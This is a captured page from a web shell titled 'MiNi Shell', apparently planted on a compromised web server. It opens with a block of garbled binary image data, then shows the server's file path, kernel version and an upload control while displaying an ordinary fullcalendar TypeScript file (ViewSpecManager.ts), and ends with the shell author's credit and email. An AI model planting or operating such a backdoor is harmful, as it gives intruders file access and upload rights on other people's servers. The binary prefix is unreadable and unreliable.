JFIF ( %!1!%)+...383-7(-.+  -% &5/------------------------------------------------";!1AQ"aq2#3BRrb*!1"AQa2q#B ?yRd&vGlJwZvK)YrxB#j]ZAT^dpt{[wkWSԋ*QayBbm*&0<|0pfŷM`̬ ^.qR𽬷^EYTFíw<-.j)M-/s yqT'&FKz-([lև<G$wm2*e Z(Y-FVen櫧lҠDwүH4FX1 VsIOqSBۡNzJKzJξcX%vZcFSuMٖ%B ִ##\[%yYꉅ !VĂ1َRI-NsZJLTAPמQ:y״g_g= m֯Ye+Hyje!EcݸࢮSo{׬*h g<@KI$W+W'_> lUs1,o*ʺE.U"N&CTu7_0VyH,q ,)H㲣5<t ;rhnz%ݓz+4 i۸)P6+F>0Tв`&i}Shn?ik܀՟ȧ@mUSLFηh_er i_qt]MYhq 9LaJpPןߘvꀡ\"z[VƬ¤*aZMo=WkpSp \QhMb˒YH=ܒ m`CJt 8oFp]>pP1F>n8(*aڈ.Y݉[iTع JM!x]ԶaJSWҼܩ`yQ`*kE#nNkZKwA_7~ ΁JЍ;-2qRxYk=Uր>Z qThv@.w c{#&@#l;D$kGGvz/7[P+i3nIl`nrbmQi%}rAVPT*SF`{'6RX46PԮp(3W҅U\a*77lq^rT$vs2MU %*ŧ+\uQXVH !4t*Hg"Z챮 JX+RVU+ތ]PiJT XI= iPO=Ia3[ uؙ&2Z@.*SZ (")s8Y/-Fh Oc=@HRlPYp!wr?-dugNLpB1yWHyoP\ѕрiHִ,ِ0aUL.Yy`LSۜ,HZz!JQiVMb{( tژ <)^Qi_`: }8ٱ9_.)a[kSr> ;wWU#M^#ivT܎liH1Qm`cU+!2ɒIX%ֳNړ;ZI$?b$(9f2ZKe㼭qU8I[ U)9!mh1^N0 f_;׆2HFF'4b! yBGH_jтp'?uibQ T#ѬSX5gޒSF64ScjwU`xI]sAM( 5ATH_+s 0^IB++h@_Yjsp0{U@G -:*} TނMH*֔2Q:o@ w5(߰ua+a ~w[3W(дPYrF1E)3XTmIFqT~z*Is*清Wɴa0Qj%{T.ޅ״cz6u6݁h;֦ 8d97ݴ+ޕxзsȁ&LIJT)R0}f }PJdp`_p)əg(ŕtZ 'ϸqU74iZ{=Mhd$L|*UUn &ͶpHYJۋj /@9X?NlܾHYxnuXږAƞ8j ໲݀pQ4;*3iMlZ6w ȵP Shr!ݔDT7/ҡϲigD>jKAX3jv+ ߧز #_=zTm¦>}Tց<|ag{E*ֳ%5zW.Hh~a%j"e4i=vױi8RzM75i֟fEu64\էeo00d H韧rȪz2eulH$tQ>eO$@B /?=#٤ǕPS/·.iP28s4vOuz3zT& >Z2[0+[#Fޑ]!((!>s`rje('|,),y@\pЖE??u˹yWV%8mJ iw:u=-2dTSuGL+m<*צ1as&5su\phƃ qYLֳ>Y(PKi;Uڕp ..!i,54$IUEGLXrUE6m UJC?%4AT]I]F>׹P9+ee"Aid!Wk|tDv/ODc/,o]i"HIHQ_n spv"b}}&I:pȟU-_)Ux$l:fژɕ(I,oxin8*G>ÌKG}Rڀ8Frajٷh !*za]lx%EVRGYZoWѮ昀BXr{[d,t Eq ]lj+ N})0B,e iqT{z+O B2eB89Cڃ9YkZySi@/(W)d^Ufji0cH!hm-wB7C۔֛X$Zo)EF3VZqm)!wUxM49< 3Y .qDfzm |&T"} {*ih&266U9* <_# 7Meiu^h--ZtLSb)DVZH*#5UiVP+aSRIª!p挤c5g#zt@ypH={ {#0d N)qWT kA<Ÿ)/RT8D14y b2^OW,&Bcc[iViVdִCJ'hRh( 1K4#V`pِTw<1{)XPr9Rc 4)Srgto\Yτ~ xd"jO:A!7􋈒+E0%{M'T^`r=E*L7Q]A{]A<5ˋ.}<9_K (QL9FЍsĮC9!rpi T0q!H \@ܩB>F6 4ۺ6΋04ϲ^#>/@tyB]*ĸp6&<џDP9ᗟatM'> b쪗wI!܁V^tN!6=FD܆9*? q6h8  {%WoHoN.l^}"1+uJ ;r& / IɓKH*ǹP-J3+9 25w5IdcWg0n}U@2 #0iv腳z/^ƃOR}IvV2j(tB1){S"B\ ih.IXbƶ:GnI F.^a?>~!k''T[ע93fHlNDH;;sg-@, JOs~Ss^H '"#t=^@'W~Ap'oTڭ{Fن̴1#'c>꜡?F颅B L,2~ת-s2`aHQm:F^j&~*Nūv+{sk$F~ؒ'#kNsٗ D9PqhhkctԷFIo4M=SgIu`F=#}Zi'cu!}+CZI7NuŤIe1XT xC۷hcc7 l?ziY䠩7:E>k0Vxypm?kKNGCΒœap{=i1<6=IOV#WY=SXCޢfxl4[Qe1 hX+^I< tzǟ;jA%n=q@j'JT|na$~BU9؂dzu)m%glwnXL`޹W`AH̸뢙gEu[,'%1pf?tJ Ζmc[\ZyJvn$Hl'<+5[b]v efsЁ ^. &2 yO/8+$ x+zs˧Cޘ'^e fA+ڭsOnĜz,FU%HU&h fGRN擥{N$k}92k`Gn8<ʮsdH01>b{ {+ [k_F@KpkqV~sdy%ϦwK`D!N}N#)x9nw@7y4*\ Η$sR\xts30`O<0m~%U˓5_m ôªs::kB֫.tpv쌷\R)3Vq>ٝj'r-(du @9s5`;iaqoErY${i .Z(Џs^!yCϾ˓JoKbQU{௫e.-r|XWլYkZe0AGluIɦvd7 q -jEfۭt4q +]td_+%A"zM2xlqnVdfU^QaDI?+Vi\ϙLG9r>Y {eHUqp )=sYkt,s1!r,l鄛u#I$-֐2A=A\J]&gXƛ<ns_Q(8˗#)4qY~$'3"'UYcIv s.KO!{, ($LI rDuL_߰ Ci't{2L;\ߵ7@HK.Z)4
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /home/vmanager/www/vendor/bower-asset/fullcalendar/src/

Linux 9dbcd5f6333d 5.15.0-124-generic #134-Ubuntu SMP Fri Sep 27 20:20:17 UTC 2024 x86_64
Upload File :
Current File : /home/vmanager/www/vendor/bower-asset/fullcalendar/src/ViewSpecManager.ts

import * as moment from 'moment'
import * as $ from 'jquery'
import { viewHash } from './ViewRegistry'
import { mergeProps, unitsDesc, computeDurationGreatestUnit } from './util'
import { mergeOptions, globalDefaults } from './options'
import { populateInstanceComputableOptions } from './locale'


export default class ViewSpecManager {

  _calendar: any // avoid
  optionsManager: any
  viewSpecCache: any // cache of view definitions (initialized in Calendar.js)


  constructor(optionsManager, _calendar) {
    this.optionsManager = optionsManager
    this._calendar = _calendar

    this.clearCache()
  }


  clearCache() {
    this.viewSpecCache = {}
  }


  // Gets information about how to create a view. Will use a cache.
  getViewSpec(viewType) {
    let cache = this.viewSpecCache

    return cache[viewType] || (cache[viewType] = this.buildViewSpec(viewType))
  }


  // Given a duration singular unit, like "week" or "day", finds a matching view spec.
  // Preference is given to views that have corresponding buttons.
  getUnitViewSpec(unit) {
    let viewTypes
    let i
    let spec

    if ($.inArray(unit, unitsDesc) !== -1) {

      // put views that have buttons first. there will be duplicates, but oh well
      viewTypes = this._calendar.header.getViewsWithButtons() // TODO: include footer as well?
      $.each(viewHash, function(viewType) { // all views
        viewTypes.push(viewType)
      })

      for (i = 0; i < viewTypes.length; i++) {
        spec = this.getViewSpec(viewTypes[i])
        if (spec) {
          if (spec.singleUnit === unit) {
            return spec
          }
        }
      }
    }
  }


  // Builds an object with information on how to create a given view
  buildViewSpec(requestedViewType) {
    let viewOverrides = this.optionsManager.overrides.views || {}
    let specChain = [] // for the view. lowest to highest priority
    let defaultsChain = [] // for the view. lowest to highest priority
    let overridesChain = [] // for the view. lowest to highest priority
    let viewType = requestedViewType
    let spec // for the view
    let overrides // for the view
    let durationInput
    let duration
    let unit

    // iterate from the specific view definition to a more general one until we hit an actual View class
    while (viewType) {
      spec = viewHash[viewType]
      overrides = viewOverrides[viewType]
      viewType = null // clear. might repopulate for another iteration

      if (typeof spec === 'function') { // TODO: deprecate
        spec = { 'class': spec }
      }

      if (spec) {
        specChain.unshift(spec)
        defaultsChain.unshift(spec.defaults || {})
        durationInput = durationInput || spec.duration
        viewType = viewType || spec.type
      }

      if (overrides) {
        overridesChain.unshift(overrides) // view-specific option hashes have options at zero-level
        durationInput = durationInput || overrides.duration
        viewType = viewType || overrides.type
      }
    }

    spec = mergeProps(specChain)
    spec.type = requestedViewType
    if (!spec['class']) {
      return false
    }

    // fall back to top-level `duration` option
    durationInput = durationInput ||
      this.optionsManager.dynamicOverrides.duration ||
      this.optionsManager.overrides.duration

    if (durationInput) {
      duration = moment.duration(durationInput)

      if (duration.valueOf()) { // valid?

        unit = computeDurationGreatestUnit(duration, durationInput)

        spec.duration = duration
        spec.durationUnit = unit

        // view is a single-unit duration, like "week" or "day"
        // incorporate options for this. lowest priority
        if (duration.as(unit) === 1) {
          spec.singleUnit = unit
          overridesChain.unshift(viewOverrides[unit] || {})
        }
      }
    }

    spec.defaults = mergeOptions(defaultsChain)
    spec.overrides = mergeOptions(overridesChain)

    this.buildViewSpecOptions(spec)
    this.buildViewSpecButtonText(spec, requestedViewType)

    return spec
  }


  // Builds and assigns a view spec's options object from its already-assigned defaults and overrides
  buildViewSpecOptions(spec) {
    let optionsManager = this.optionsManager

    spec.options = mergeOptions([ // lowest to highest priority
      globalDefaults,
      spec.defaults, // view's defaults (from ViewSubclass.defaults)
      optionsManager.dirDefaults,
      optionsManager.localeDefaults, // locale and dir take precedence over view's defaults!
      optionsManager.overrides, // calendar's overrides (options given to constructor)
      spec.overrides, // view's overrides (view-specific options)
      optionsManager.dynamicOverrides // dynamically set via setter. highest precedence
    ])
    populateInstanceComputableOptions(spec.options)
  }


  // Computes and assigns a view spec's buttonText-related options
  buildViewSpecButtonText(spec, requestedViewType) {
    let optionsManager = this.optionsManager

    // given an options object with a possible `buttonText` hash, lookup the buttonText for the
    // requested view, falling back to a generic unit entry like "week" or "day"
    function queryButtonText(options) {
      let buttonText = options.buttonText || {}
      return buttonText[requestedViewType] ||
        // view can decide to look up a certain key
        (spec.buttonTextKey ? buttonText[spec.buttonTextKey] : null) ||
        // a key like "month"
        (spec.singleUnit ? buttonText[spec.singleUnit] : null)
    }

    // highest to lowest priority
    spec.buttonTextOverride =
      queryButtonText(optionsManager.dynamicOverrides) ||
      queryButtonText(optionsManager.overrides) || // constructor-specified buttonText lookup hash takes precedence
      spec.overrides.buttonText // `buttonText` for view-specific options is a string

    // highest to lowest priority. mirrors buildViewSpecOptions
    spec.buttonTextDefault =
      queryButtonText(optionsManager.localeDefaults) ||
      queryButtonText(optionsManager.dirDefaults) ||
      spec.defaults.buttonText || // a single string. from ViewSubclass.defaults
      queryButtonText(globalDefaults) ||
      (spec.duration ? this._calendar.humanizeDuration(spec.duration) : null) || // like "3 days"
      requestedViewType // fall back to given view name
  }

}

Creat By MiNi SheLL
Email: jattceo@gmail.com